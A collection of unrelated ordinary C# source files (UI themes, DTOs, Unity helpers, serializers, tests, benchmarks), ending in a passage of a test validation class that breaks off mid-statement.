using System.Drawing; namespace WinForm.DirectUI.Forms { static partial class DefaultTheme { /// <summary> /// 透明色 /// </summary> public static Color Transparent = Color.Transparent; /// <summary> /// 透明色 /// </summary> public const string _Transparent = "Transparent"; /// <summary> /// 半透明色,透明度高高 /// </summary> public static Color DarkDarkTransparent = Color.FromArgb(20, 255, 255, 255); /// <summary> /// 半透明色,透明度高高 /// </summary> public const string _DarkDarkTransparent = "20, 255, 255, 255"; /// <summary> /// 半透明色,透明度高 /// </summary> public static Color DarkTransparent = Color.FromArgb(40, 255, 255, 255); /// <summary> /// 半透明色,透明度高 /// </summary> public const string _DarkTransparent = "40, 255, 255, 255"; /// <summary> /// 半透明颜色,透明度低 /// </summary> public static Color LightTransparent = Color.FromArgb(60, 255, 255, 255); /// <summary> /// 半透明颜色,透明度低 /// </summary> public const string _LightTransparent = "60, 255, 255, 255"; /// <summary> /// 半透明颜色,透明度低低 /// </summary> public static Color LightLightTransparent = Color.FromArgb(80, 255, 255, 255); /// <summary> /// 半透明颜色,透明度低低 /// </summary> public const string _LightLightTransparent = "80, 255, 255, 255"; } }
using System.Collections; using System.Collections.Generic; using UnityEngine; namespace STK { ///<summary>This class is used to add elements to an array and clean null references from an array</summary> public static class STKArrayTools { public static object[] AddElement(object o, object[] array) { if (array == null) { object[] createdArray = new object[1]; createdArray[0] = o; return createdArray; } object[] newArray = new object[array.Length + 1]; for (int i = 0; i < array.Length; i++) { newArray[i] = array[i]; } newArray[newArray.Length - 1] = o; return newArray; } public static object[] ClearNullReferences(object[] array) { int numberOfObjects = 0; foreach (object o in array) { if (o != null) { numberOfObjects++; } } object[] newArray = new object[numberOfObjects]; int currentindex = 0; for (int i = 0; i < array.Length; i++) { if (array[i] != null) { newArray[currentindex] = array[i]; currentindex++; } } return newArray; } } }
using Milvasoft.Helpers.DataAccess.EfCore.Concrete.Entity; using Milvasoft.SampleAPI.DTOs.AssignmentDTOs; using Milvasoft.SampleAPI.DTOs.StudentDTOs; using Milvasoft.SampleAPI.Entity; using Milvasoft.SampleAPI.Entity.Enum; using Milvasoft.SampleAPI.Utils.Attributes.ValidationAttributes; using Milvasoft.SampleAPI.Utils.Swagger; using System; namespace Milvasoft.SampleAPI.DTOs.StudentAssignmentDTOs { /// <summary> /// Student assginment relationship. /// </summary> public class StudentAssignmentDTO : AuditableEntity<AppUser, Guid, Guid> { /// <summary> /// Student id. /// </summary> [OValidateId] public Guid StudentId { get; set; } /// <summary> /// Student. /// </summary> [SwaggerExclude] public virtual StudentDTO Student { get; set; } /// <summary> /// Assignment id. /// </summary> [OValidateId] public Guid AssigmentId { get; set; } /// <summary> /// Assignment. /// </summary> [SwaggerExclude] public virtual AssignmentDTO Assigment { get; set; } /// <summary> /// Education status. /// </summary> public EducationStatus Status { get; set; } /// <summary> /// The mentor's score on the student's assignment. /// </summary> [OValidateDecimal(100)] public int MentorScore { get; set; } /// <summary> /// The mentor's description on the student's assignment. /// </summary> [OValidateString(2000)] public string MentorDescription { get; set; } /// <summary> /// File path of assignment. /// </summary> [OValidateString(2000)] public string AssigmentFilePath { get; set; } /// <summary> /// The date the student should submit the assignment. /// </summary> public DateTime ShouldDeliveryDate { get; set; } /// <summary> /// Assignment start date. /// </summary> public DateTime StartedDate { get; set; } /// <summary> /// Assignment finished date. /// </summary> public DateTime FinishedDate { get; set; } /// <summary> /// The additional time the student asks for the mentor. /// </summary> [OValidateDecimal(10)] public int AdditionalTime { get; set; } /// <summary> /// An explanation of why the student is asking for additional time. /// </summary> [OValidateString(2000)] public string AdditionalTimeDescription { get; set; } /// <summary> /// The status of the student's homework approved by the mentor. /// </summary> public bool IsApproved { get; set; } } }
#if WINRT using Windows.UI.Xaml.Controls; using Windows.UI.Xaml; #else using System.Windows.Controls; using System.Windows; #endif using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.ComponentModel; using NeuroSpeech.UIAtoms.Core; namespace NeuroSpeech.UIAtoms.Controls { /// <summary> /// /// </summary> [AtomDesign( DisplayInToolbox = false )] public class AtomAccordionPanel : Panel { /// <summary> /// /// </summary> /// <param name="finalSize"></param> /// <returns></returns> protected override Size ArrangeOverride(Size finalSize) { double allHeight = 0; double lastTop = 0; Rect rect; foreach (AtomAccordionItem e in InternalChildren) { //e.Measure(finalSize); if (!e.IsSelected) { allHeight += e.DesiredSize.Height; } } foreach (AtomAccordionItem e in InternalChildren) { if (e.IsSelected) { rect = new Rect(0,lastTop,finalSize.Width, finalSize.Height-allHeight); } else { rect = new Rect(0, lastTop, finalSize.Width,e.DesiredSize.Height); } e.Arrange(rect); lastTop += rect.Height; } return base.ArrangeOverride(finalSize); } /// <summary> /// /// </summary> /// <param name="availableSize"></param> /// <returns></returns> protected override Size MeasureOverride(Size availableSize) { double width = 0; double height = 0; foreach (UIElement e in this.InternalChildren) { e.Measure(availableSize); Size s = e.DesiredSize; if (width < s.Width) width = s.Width; height += s.Height; } return new Size(width,height); } } }
/* * QUANTCONNECT.COM - Democratizing Finance, Empowering Individuals. * Lean Algorithmic Trading Engine v2.0. Copyright 2014 QuantConnect Corporation. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace QuantConnect.Indicators.CandlestickPatterns { /// <summary> /// Types of candlestick settings /// </summary> public enum CandleSettingType { /// <summary> /// Real body is long when it's longer than the average of the 10 previous candles' real body /// </summary> BodyLong, /// <summary> /// Real body is very long when it's longer than 3 times the average of the 10 previous candles' real body /// </summary> BodyVeryLong, /// <summary> /// Real body is short when it's shorter than the average of the 10 previous candles' real bodies /// </summary> BodyShort, /// <summary> /// Real body is like doji's body when it's shorter than 10% the average of the 10 previous candles' high-low range /// </summary> BodyDoji, /// <summary> /// Shadow is long when it's longer than the real body /// </summary> ShadowLong, /// <summary> /// Shadow is very long when it's longer than 2 times the real body /// </summary> ShadowVeryLong, /// <summary> /// Shadow is short when it's shorter than half the average of the 10 previous candles' sum of shadows /// </summary> ShadowShort, /// <summary> /// Shadow is very short when it's shorter than 10% the average of the 10 previous candles' high-low range /// </summary> ShadowVeryShort, /// <summary> /// When measuring distance between parts of candles or width of gaps /// "near" means "&lt;= 20% of the average of the 5 previous candles' high-low range" /// </summary> Near, /// <summary> /// When measuring distance between parts of candles or width of gaps /// "far" means "&gt;= 60% of the average of the 5 previous candles' high-low range" /// </summary> Far, /// <summary> /// When measuring distance between parts of candles or width of gaps /// "equal" means "&lt;= 5% of the average of the 5 previous candles' high-low range" /// </summary> Equal } /// <summary> /// Types of candlestick ranges /// </summary> public enum CandleRangeType { /// <summary> /// The part of the candle between open and close /// </summary> RealBody, /// <summary> /// The complete range of the candle /// </summary> HighLow, /// <summary> /// The shadows (or tails) of the candle /// </summary> Shadows } /// <summary> /// Colors of a candle /// </summary> public enum CandleColor { /// <summary> /// White is an up candle (close higher or equal than open) /// </summary> White = 1, /// <summary> /// Black is a down candle (close lower than open) /// </summary> Black = -1 } }
// dnlib: See LICENSE.txt for more info using System; using System.Collections.Generic; using dnlib.Threading; #if THREAD_SAFE using ThreadSafe = dnlib.Threading.Collections; #else using ThreadSafe = System.Collections.Generic; #endif namespace dnlib.Utils { /// <summary> /// Interface to access a lazily initialized list /// </summary> /// <typeparam name="TValue">Type to store in list</typeparam> public interface ILazyList<TValue> : ThreadSafe.IList<TValue> { /// <summary> /// Checks whether an element at <paramref name="index"/> has been initialized. /// </summary> /// <param name="index">Index of element</param> /// <returns><c>true</c> if the element has been initialized, <c>false</c> otherwise</returns> bool IsInitialized(int index); /// <summary> /// Checks whether an element at <paramref name="index"/> has been initialized. /// </summary> /// <param name="index">Index of element</param> /// <returns><c>true</c> if the element has been initialized, <c>false</c> otherwise</returns> bool IsInitialized_NoLock(int index); /// <summary> /// Gets all initialized elements /// </summary> /// <param name="clearList"><c>true</c> if the list should be cleared before returning, /// <c>false</c> if the list should not cleared.</param> List<TValue> GetInitializedElements(bool clearList); } public static partial class Extensions { /// <summary> /// Disposes all initialized elements /// </summary> /// <typeparam name="TValue">Element type</typeparam> /// <param name="list">this</param> public static void DisposeAll<TValue>(this ILazyList<TValue> list) where TValue : IDisposable { list.ExecuteLocked<TValue, object, object>(null, (tsList, arg) => { for (int i = 0; i < list.Count_NoLock(); i++) { if (list.IsInitialized_NoLock(i)) { var elem = list.Get_NoLock(i); if (elem != null) elem.Dispose(); } } return null; }); } } }
using Castle.DynamicProxy; namespace MonitorWang.Core.Containers { public abstract class InterceptorBase : IInterceptor { protected string myMethodToIntercept; protected InterceptorBase(string methodToIntercept) { myMethodToIntercept = methodToIntercept; } protected virtual bool InterceptThisMethod(IInvocation invocation) { return (string.CompareOrdinal(invocation.Method.Name, myMethodToIntercept) == 0); } public void Intercept(IInvocation invocation) { if (!InterceptThisMethod(invocation)) invocation.Proceed(); else { HandleIntercept(invocation); } } protected abstract void HandleIntercept(IInvocation invocation); } }
using System; using Unrect.Core; using static Unrect.Strategies.SizeStrategies; namespace Unrect.Strategies { public static class OffsetStrategies<TSpace> { public static IOffsetStrategy<TSpace> MaxOffset() => MaxSize<TSpace>().ToOffsetStrategy(); public static IOffsetStrategy<TSpace> MinOffset() => MinSize<TSpace>().ToOffsetStrategy(); public static IOffsetStrategy<TSpace> Offset(uint width, uint height) => Size<TSpace>(width, height).ToOffsetStrategy(); public static IOffsetStrategy<TSpace> SelectOffset(Func<ISpace<TSpace>, Size> selector) => SelectSize(selector).ToOffsetStrategy(); } public static class OffsetStrategies { public static IOffsetStrategy<TSpace> MaxOffset<TSpace>() => OffsetStrategies<TSpace>.MaxOffset(); public static IOffsetStrategy<TSpace> MinOffset<TSpace>() => OffsetStrategies<TSpace>.MinOffset(); public static IOffsetStrategy<TSpace> ExplicitOffset<TSpace>(uint width, uint height) => OffsetStrategies<TSpace>.Offset(width, height); public static IOffsetStrategy<TSpace> SelectOffset<TSpace>(Func<ISpace<TSpace>, Size> selector) => OffsetStrategies<TSpace>.SelectOffset(selector); } }
 using Plunder.Compoment; using Plunder.Download; namespace Plunder.Core { public interface IDownloaderFactory { IDownloader Create(Request request, PageType pageType); int Count { get; } bool Any(); } }
[assembly: Xamarin.Forms.Dependency(typeof(UninstallSample.Droid.Services.PackageService))] namespace UninstallSample.Droid.Services { using Android.Content; using System; public class PackageService : IPackageService { public void InstallPackage(string packageName) { try { Context context = MainActivity.CurrentActivity; Intent intent = null; Android.Net.Uri uri = Android.Net.Uri.Parse($"market://details?id={packageName}"); intent = new Intent(Intent.ActionView, uri); intent.AddFlags(ActivityFlags.NoHistory | ActivityFlags.ClearWhenTaskReset | ActivityFlags.MultipleTask | ActivityFlags.NewTask); context.StartActivity(intent); } catch (Exception ex) { System.Diagnostics.Debug.WriteLine(ex.Message); } } public void UninstallPackage(string packageName) { try { Context context = MainActivity.CurrentActivity; Intent intent = new Intent(Intent.ActionDelete); intent.SetData(Android.Net.Uri.Parse($"package:{packageName}")); context.StartActivity(intent); } catch (Exception ex) { System.Diagnostics.Debug.WriteLine(ex.Message); } } } }
using System; namespace AppStudio.DataProviders.YouTube.Parser { internal class YouTubeSearchSnippet { public DateTime publishedAt { get; set; } public string channelId { get; set; } public string title { get; set; } public string description { get; set; } public Thumbnails thumbnails { get; set; } public string channelTitle { get; set; } public string liveBroadcastContent { get; set; } } }
using NUnit.Framework; using JM.LinqFaster.Parallel; using System.Linq; using static Tests.Test; namespace Tests { [TestFixture] class CountParallel { [Test] public void ParallelCountArray() { var a = intArray.CountP(onlyEvenInts); var b = intArray.Count(onlyEvenInts); Assert.That(a, Is.EqualTo(b)); } [Test] public void ParallelCountList() { var a = intList.CountP(onlyEvenInts); var b = intList.Count(onlyEvenInts); Assert.That(a, Is.EqualTo(b)); } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using CitizenFX.Core; using CitizenFX.Core.Native; using PropHuntV.Util; namespace PropHuntV.Client.Game { public class IplController : ClientAccessor { public Dictionary<string, Vector4> ProximityIpls = new Dictionary<string, Vector4> { {"hei_carrier", new Vector4(3092.765f, -4704.072f, 11.81955f, 1000f)}, {"hei_carrier_int1", new Vector4(3092.765f, -4704.072f, 11.81955f, 1000f)}, {"hei_carrier_int2", new Vector4(3092.765f, -4704.072f, 11.81955f, 1000f)}, {"hei_carrier_int3", new Vector4(3092.765f, -4704.072f, 11.81955f, 1000f)}, {"hei_carrier_int4", new Vector4(3092.765f, -4704.072f, 11.81955f, 1000f)}, {"hei_carrier_int5", new Vector4(3092.765f, -4704.072f, 11.81955f, 1000f)}, {"hei_carrier_int6", new Vector4(3092.765f, -4704.072f, 11.81955f, 1000f)}, {"bkr_bi_hw1_13_int", new Vector4(984.1553f, -95.36626f, 75.9326f, 500f)} }; private List<string> _currentLoadedIpls = new List<string>(); public IplController( Client client ) : base( client ) { Client.RegisterTickHandler( LoadProximityTick ); } private async Task LoadProximityTick() { try { foreach( var ipl in ProximityIpls ) { var pos = new Vector3( ipl.Value.X, ipl.Value.Y, ipl.Value.Z ); if( Math.Sqrt( pos.DistanceToSquared2D( Client.Player.Position ) ) > ipl.Value.W ) { if( _currentLoadedIpls.Contains( ipl.Key ) ) { _currentLoadedIpls.Remove( ipl.Key ); UnloadIpl( ipl.Key ); } continue; } if( _currentLoadedIpls.Contains( ipl.Key ) ) continue; _currentLoadedIpls.Add( ipl.Key ); LoadIpl( ipl.Key ); } } catch( Exception ex ) { Log.Error( ex ); } await BaseScript.Delay( 50 ); } public void LoadIpl( string ipl ) { Log.Info( $"Load ipl {ipl}" ); API.RequestIpl( ipl ); } public void UnloadIpl( string ipl ) { Log.Info( $"Unload ipl {ipl}" ); API.RemoveIpl( ipl ); } } }
using RpcModel; using RpcService.Collect; using RpcService.Model; namespace RpcService.RpcEvent { internal class RefreshService : IRpcEvent { public string EventKey { get; } = "RefreshService"; public void Refresh(RpcToken token, RefreshEventParam param) { string type = param["SystemType"]; string val = param["Id"]; if (string.IsNullOrEmpty(val)) { return; } RpcServerCollect.Refresh(long.Parse(val), param); RpcServerConfigCollect.Refresh(long.Parse(type)); } } }
using System.IO; using System.Linq; using System.Windows.Forms; namespace ImageViewer.Models { internal class PathTreeModel : TreeNode { public PathTreeModel(string text) : base() { Name = Text = text.TrimEnd(Path.PathSeparator, Path.AltDirectorySeparatorChar); } public bool IsEmpty => Nodes.Count < 1; public void AddPath(string path) { path.Replace(Path.AltDirectorySeparatorChar, Path.DirectorySeparatorChar); string subpath = GetSubpath(path); if (!string.IsNullOrEmpty(subpath)) { string nextNode = GetPathRoot(subpath); var subNode = Nodes.Cast<PathTreeModel>().FirstOrDefault(n => n.Name == nextNode); if (subNode == null) { subNode = new PathTreeModel(nextNode); Nodes.Add(subNode); } subNode.AddPath(subpath); } } public void RemovePath(string path) { path.Replace(Path.AltDirectorySeparatorChar, Path.DirectorySeparatorChar); string subpath = GetSubpath(path); if (!string.IsNullOrEmpty(subpath)) { string nextNode = GetPathRoot(subpath); var subNode = Nodes.Cast<PathTreeModel>().FirstOrDefault(n => n.Name == nextNode); if (subNode != null) { subNode.RemovePath(subpath); if (subNode.IsEmpty) Nodes.Remove(subNode); } } } private string GetSubpath(string path) { if (path.StartsWith(Text)) { path = path.Substring(Text.Length); if (path.Length > 1) { path = path.Substring(1); return path; } } return null; } private string GetPathRoot(string path) { int index = path.IndexOf(Path.DirectorySeparatorChar); if (index > -1) { path = path.Substring(0, index); } return path; } } }
namespace RobSharper.Ros.BagReader { public interface ICurrentItemBagRecordVisitor<out T> : IBagRecordVisitor { T Current { get; } } }
using System; using System.Collections.Generic; using System.Text; namespace EZNEW.Development.Entity { /// <summary> /// Defines update time entity /// </summary> public interface IUpdateTimeEntity { /// <summary> /// Gets or sets the update time /// </summary> DateTimeOffset UpdateTime { get; set; } } }
using System; using IELTS_PTE.Business; using IELTS_PTE.Common; using IELTS_PTE.Common.ReturnEntities; using IELTS_PTE.Common.ReturnEntities.Reading; using Microsoft.AspNetCore.Mvc; using System.Collections.Generic; using Microsoft.AspNetCore.Cors; namespace IELTS_PTE_API.Controllers.Reading { [Route("api/[controller]")] [ApiController] public class FillingTheBlanksController : ControllerBase { private FillInTheBlankManager _fillInTheBlankManager = new FillInTheBlankManager(); // GET: api/FillingTheBlanks [HttpGet] public JsonReturn Get() { var response = new JsonReturn(); try { Questions questions = _fillInTheBlankManager.GetQuestions(); response.Records = questions; } catch (Exception e) { response.IsSuccess = false; response.Message = e.Message; } return response; } // GET: api/FillingTheBlanks/5 [HttpGet("{id}")] public JsonReturn Get(int id) { var response = new JsonReturn(); QuestionSetup question = _fillInTheBlankManager.GetQuestionsById(id); response.Records = question; return response; } // POST: api/FillingTheBlanks [HttpPost] public JsonReturn Post([FromBody] QuestionSetup value) { var response = new JsonReturn(); response= _fillInTheBlankManager.SaveQuestion(value); return response; } // PUT: api/FillingTheBlanks/5 [HttpPut("{id}")] public void Put(int id, [FromBody] string value) { } // DELETE: api/ApiWithActions/5 [HttpDelete("{id}")] public void Delete(int id) { } } }
using Xamarin.Forms; namespace decode2017_MW08.Views { public partial class ListViewScrollToPage : ContentPage { public ListViewScrollToPage() { InitializeComponent(); } } }
using System; using System.Text; using System.Collections.Generic; using Enexure.Sql.Dynamic.Providers.TransactSql; using Enexure.Sql.Dynamic.Queries; using Microsoft.VisualStudio.TestTools.UnitTesting; using Enexure.Sql.Dynamic.Providers; namespace Enexure.Sql.Dynamic.Tests { /// <summary> /// Summary description for BasicQueryTest /// </summary> [TestClass] public class UnionQueryTest { [TestMethod] public void SimpleQuery() { var query = Query .From(new Table("TableA")) .SelectAll(); var union = Query.UnionAll(query, query); var sql = Provider.GetSqlString(union); var expected = "select *" + Environment.NewLine + "from [TableA]" + Environment.NewLine + "union all" + Environment.NewLine + "select *" + Environment.NewLine + "from [TableA]"; Assert.AreEqual(expected, sql); } } }
using System.Threading.Tasks; namespace Diffused.Core.Infrastructure { public abstract class Node : INode { private Task executingTask; public Task StartAsync() { executingTask = RunAsync(); return executingTask.IsCompleted ? executingTask : Task.CompletedTask; } protected abstract Task RunAsync(); public abstract Task StopAsync(); } }
using System.Collections.Generic; namespace TicketMaster { public static class GlobalInMemoryStorage { public static List<ulong> TicketIDs { get; set; } = new List<ulong>(); } }
using System; using System.Diagnostics.CodeAnalysis; using JetBrains.Annotations; namespace Imas { [Serializable] [SuppressMessage("ReSharper", "NotNullMemberIsNotInitialized")] public sealed class Curve { [NotNull] public string path; [NotNull, ItemNotNull] public string[] attribs; [NotNull] public float[] values; } }
using Raven.Yabt.Database.Common.References; namespace Raven.Yabt.Database.Common.BacklogItem { public record BacklogItemRelatedItem { public BacklogItemReference RelatedTo { get; set; } = null!; public BacklogRelationshipType LinkType { get; set; } } }
// ----------------------------------------------------------------------- // <copyright file="PersistentSnapshotSerializer.cs" company="Akka.NET Project"> // Copyright (C) 2013-2021 .NET Foundation <https://github.com/akkadotnet/akka.net> // </copyright> // ----------------------------------------------------------------------- using System; using System.Runtime.Serialization; using Akka.Actor; using Akka.Persistence.Serialization.Proto.Msg; using Akka.Serialization; using Akka.Util; using Google.Protobuf; namespace Akka.Persistence.Redis.Serialization { public class PersistentSnapshotSerializer : Serializer { public PersistentSnapshotSerializer(ExtendedActorSystem system) : base(system) { } public override bool IncludeManifest { get; } = true; public override byte[] ToBinary(object obj) { if (obj is SelectedSnapshot snapshot) { var snapshotMessage = new SnapshotMessage(); snapshotMessage.PersistenceId = snapshot.Metadata.PersistenceId; snapshotMessage.SequenceNr = snapshot.Metadata.SequenceNr; snapshotMessage.TimeStamp = Google.Protobuf.WellKnownTypes.Timestamp.FromDateTime(snapshot.Metadata.Timestamp); snapshotMessage.Payload = GetPersistentPayload(snapshot.Snapshot); return snapshotMessage.ToByteArray(); } throw new ArgumentException($"Can't serialize object of type [{obj.GetType()}] in [{GetType()}]"); } public override object FromBinary(byte[] bytes, Type type) { if (type == typeof(SelectedSnapshot)) { var snapshotMessage = SnapshotMessage.Parser.ParseFrom(bytes); return new SelectedSnapshot( new SnapshotMetadata( snapshotMessage.PersistenceId, snapshotMessage.SequenceNr, snapshotMessage.TimeStamp.ToDateTime()), GetPayload(snapshotMessage.Payload)); } throw new SerializationException( $"Unimplemented deserialization of message with type [{type}] in [{GetType()}]"); } private PersistentPayload GetPersistentPayload(object obj) { var serializer = system.Serialization.FindSerializerFor(obj); var payload = new PersistentPayload(); if (serializer is SerializerWithStringManifest serializer2) { var manifest = serializer2.Manifest(obj); payload.PayloadManifest = ByteString.CopyFromUtf8(manifest); } else { if (serializer.IncludeManifest) payload.PayloadManifest = ByteString.CopyFromUtf8(obj.GetType().TypeQualifiedName()); } payload.Payload = ByteString.CopyFrom(serializer.ToBinary(obj)); payload.SerializerId = serializer.Identifier; return payload; } private object GetPayload(PersistentPayload payload) { var manifest = ""; if (payload.PayloadManifest != null) manifest = payload.PayloadManifest.ToStringUtf8(); return system.Serialization.Deserialize(payload.Payload.ToByteArray(), payload.SerializerId, manifest); } } }
using System.Xml; namespace EppLib.Extensions.Nominet.ContactCreate { public class NominetContactCreateExtension : NominetContactExtensionBase { public string TradeName { get; set; } public CoType? Type { get; set; } public string CompanyNumber { get; set; } public YesNoFlag? OptOut { get; set; } public override XmlNode ToXml(XmlDocument doc) { var root = CreateElement(doc, "contact-nom-ext:create"); if (TradeName != null) { AddXmlElement(doc, root, "contact-nom-ext:trad-name", TradeName); } if (Type != null) { AddXmlElement(doc, root, "contact-nom-ext:type", Type.Value.ToString()); } if (CompanyNumber != null) { AddXmlElement(doc, root, "contact-nom-ext:co-no", CompanyNumber); } if (OptOut != null) { AddXmlElement(doc, root, "contact-nom-ext:opt-out", OptOut.Value.ToString()); } return root; } } }
namespace Captura.Controls { public partial class TextOverlaySettingsControl { public TextOverlaySettingsControl() { InitializeComponent(); } } }
using BenchmarkDotNet.Attributes; using MongoDB.Driver; using MongoDB.Entities; using System; using System.Collections.Generic; using System.Threading.Tasks; namespace Benchmark { [MemoryDiagnoser] public class Relationships : BenchBase { private const string bookTitle = "BOOKTITLE"; private const string authorName = "AUTHORNAME"; public Relationships() { DB.Index<Author>() .Key(a => a.FirstName, KeyType.Ascending) .Option(o => o.Background = false) .CreateAsync().GetAwaiter().GetResult(); DB.Index<Book>() .Key(b => b.Title, KeyType.Ascending) .Option(o => o.Background = false) .CreateAsync().GetAwaiter().GetResult(); DB.Index<Book>() .Key(b => b.Author.ID, KeyType.Ascending) .Option(o => o.Background = false) .CreateAsync().GetAwaiter().GetResult(); for (int x = 1; x <= 1000; x++) { var author = new Author { FirstName = x == 500 ? authorName : "first name " + x, LastName = "last name", Birthday = DateTime.UtcNow }; author.SaveAsync().GetAwaiter().GetResult(); for (int y = 1; y <= 10; y++) { var book = new Book { Author = author, PublishedOn = DateTime.UtcNow, Title = x == 500 ? bookTitle : "book title " + y }; book.SaveAsync().GetAwaiter().GetResult(); author.Books.AddAsync(book); } } } [Benchmark(Baseline = true)] public async Task Lookup() { var res = (await DB .Fluent<Author>() .Match(a => a.FirstName == authorName) .Lookup<Author, Book, AuthorWithBooksDTO>( DB.Collection<Book>(), a => a.ID, b => b.Author.ID, dto => dto.BookList) .ToListAsync())[0]; } [Benchmark] public async Task Clientside_Join() { var author = await DB.Find<Author>().Match(a => a.FirstName == authorName).ExecuteSingleAsync(); var res = new AuthorWithBooksDTO { Birthday = author.Birthday, FirstName = author.FirstName, LastName = author.LastName, ID = author.ID, BookList = await DB.Find<Book>().ManyAsync(b => b.Author.ID == author.ID) }; } [Benchmark] public async Task Children_Fluent() { var author = await DB.Find<Author>().Match(a => a.FirstName == authorName).ExecuteSingleAsync(); var res = new AuthorWithBooksDTO { Birthday = author.Birthday, FirstName = author.FirstName, LastName = author.LastName, ID = author.ID, BookList = await author.Books.ChildrenFluent().ToListAsync() }; } [Benchmark] public async Task Children_Queryable() { var author = await DB.Find<Author>().Match(a => a.FirstName == authorName).ExecuteSingleAsync(); var res = new AuthorWithBooksDTO { Birthday = author.Birthday, FirstName = author.FirstName, LastName = author.LastName, ID = author.ID, BookList = await author.Books.ChildrenQueryable().ToListAsync() }; } public class AuthorWithBooksDTO : Author { public List<Book> BookList { get; set; } = new(); } public override Task MongoDB_Entities() { throw new NotImplementedException(); } public override Task Official_Driver() { throw new NotImplementedException(); } } }
namespace Mantle.Web.ContentManagement.Areas.Admin.ContentBlocks { public static class IContentBlockExtensions { public static string GetTypeFullName(this IContentBlock contentBlock) { var type = contentBlock.GetType(); return $"{type.FullName}, {type.Assembly.FullName}"; } } }
using System; /// <summary> /// Exception class to throw when the required letter char is not valid. /// </summary> public class NotValidLetterException : Exception { public NotValidLetterException(string message) : base(message) { } }
using Helvetica.NntpClient.Interfaces; using Helvetica.NntpClient.Models; namespace Helvetica.NntpClient.CommandQuery { public class GetHead : IQuery<Head> { private readonly long _articleId; private readonly string _messageId; public GetHead(long articleId) { _articleId = articleId; } public GetHead(string messageId) { _messageId = messageId; } public Head Execute(NntpClient context) { var isArticleId = _articleId > 0; string param = isArticleId ? _articleId.ToString() : _messageId; using (var response = context.PerformRequest(new NntpRequest(NntpCommand.Head, false, param))) { return new Head(response);// response will set IsMissing if article is missing. } } } }
using Samples.Domain; namespace Samples.Models { public class UserViewModel { public User User { get; set; } public Album[] Albums { get; set; } } }
namespace OnlineExamPrep.Common { public static class Roles { public const string Admin = "Admin"; public const string Korisnik = "Korisnik"; public const string All = "Admin,Korisnik"; } }
/* * Copyright © 2020. TIBCO Software Inc. * This file is subject to the license terms contained * in the license file that is distributed with this file. */ using UnityEngine; using System.Collections; public class CameraMovement : MonoBehaviour { CharacterController characterController; private float zoomSpeed = 2.0f; private float speed = 3.0f; public float minX = -360.0f; public float maxX = 360.0f; public float minY = -45.0f; public float maxY = 45.0f; public float sensX = 100.0f; public float sensY = 100.0f; float rotationY = 0.0f; float rotationX = 0.0f; private Vector3 moveDirection = Vector3.zero; int mode = 1; // Use this for initialization void Start() { characterController = GetComponent<CharacterController>(); } void Update() { if (mode == 1) { // Zoom float scroll = Input.GetAxis("Mouse ScrollWheel"); //transform.Translate(0, scroll * zoomSpeed, scroll * zoomSpeed, Space.World); //transform.Translate(new Vector3(0, 0, scroll * zoomSpeed)); transform.position += Vector3.forward *scroll * zoomSpeed; // Keys if (Input.GetKey(KeyCode.RightArrow) || Input.GetKey(KeyCode.D)) { transform.position += Vector3.right * speed * Time.deltaTime; } if (Input.GetKey(KeyCode.LeftArrow) || Input.GetKey(KeyCode.A)) { transform.position += Vector3.left * speed * Time.deltaTime; } if (Input.GetKey(KeyCode.UpArrow) || Input.GetKey(KeyCode.W)) { transform.position += Vector3.forward * speed * Time.deltaTime; } if (Input.GetKey(KeyCode.DownArrow) || Input.GetKey(KeyCode.S)) { transform.position += Vector3.back * speed * Time.deltaTime; } // Watch around if (Input.GetMouseButton(0)) { rotationX += Input.GetAxis("Mouse X") * sensX * Time.deltaTime; rotationY += Input.GetAxis("Mouse Y") * sensY * Time.deltaTime; rotationY = Mathf.Clamp(rotationY, minY, maxY); transform.localEulerAngles = new Vector3(-rotationY, rotationX, 0); //transform.rotation = Quaternion.Euler(-rotationY, rotationX, 0); } } else if (mode==2) { moveDirection = new Vector3(Input.GetAxis("Horizontal"), 0.0f, Input.GetAxis("Vertical")); moveDirection *= speed; characterController.Move(moveDirection * Time.deltaTime); } } }
namespace Cogito.MassTransit.Scheduler { class ScheduledMessageJobData { /// <summary> /// Types of the message. /// </summary> public string[] MessageType { get; set; } /// <summary> /// Body of the message. /// </summary> public string Message { get; set; } } }
using System; using Reinforced.Tecture.Testing.Validation; using Reinforced.Tecture.Tracing; using Reinforced.Samples.ToyFactory.Logic.Warehouse.Entities; using Reinforced.Tecture.Tracing.Commands; using Reinforced.Samples.ToyFactory.Logic.Warehouse.Entities.Suppliement; using Reinforced.Tecture.Aspects.DirectSql.Commands; using Reinforced.Tecture.Aspects.Orm.Commands.Add; using Reinforced.Tecture.Aspects.Orm.Commands.Relate; using static Reinforced.Tecture.Aspects.Orm.Testing.Checks.Add.AddChecks; using static Reinforced.Tecture.Testing.BuiltInChecks.CommonChecks; using static Reinforced.Tecture.Aspects.DirectSql.Testing.Checks.SqlChecks; namespace Reinforced.Samples.ToyFactory.Tests.WarehouseTests.SupplyCreationPipeline { class SupplyCreationPipeline_Validation : ValidationBase { protected override void Validate(TraceValidator flow) { flow.Then<Add> ( Add<MeasurementUnit>(x=> { if (x.Name != @"Kilograms") return false; if (x.ShortName != @"kG") return false; return true; }, @"create measurement unit 'Kilograms' (kG)"), Annotated(@"create measurement unit 'Kilograms' (kG)") ); flow.Then<Save>(); flow.Then<Add> ( Add<Resource>(x=> { if (x.MeasurementUnitId != 103) return false; if (x.StockQuantity != 0) return false; if (x.Name != @"resource1") return false; return true; }, @"new resource resource1"), Annotated(@"new resource resource1") ); flow.Then<Add> ( Add<Resource>(x=> { if (x.MeasurementUnitId != 103) return false; if (x.StockQuantity != 0) return false; if (x.Name != @"resource2") return false; return true; }, @"new resource resource2"), Annotated(@"new resource resource2") ); flow.Then<Add> ( Add<Resource>(x=> { if (x.MeasurementUnitId != 103) return false; if (x.StockQuantity != 0) return false; if (x.Name != @"resource3") return false; return true; }, @"new resource resource3"), Annotated(@"new resource resource3") ); flow.Then<Save>(); flow.Then<Add> ( Add<ResourceSupply>(x=> { if (x.ItemsCount != 0) return false; if (x.Status != ResourceSupplyStatus.Open) return false; //if (x.CreationDate != new DateTime(2020, 8, 31, 6, 16, 5, 232, DateTimeKind.Utc)) return false; if (x.Name != 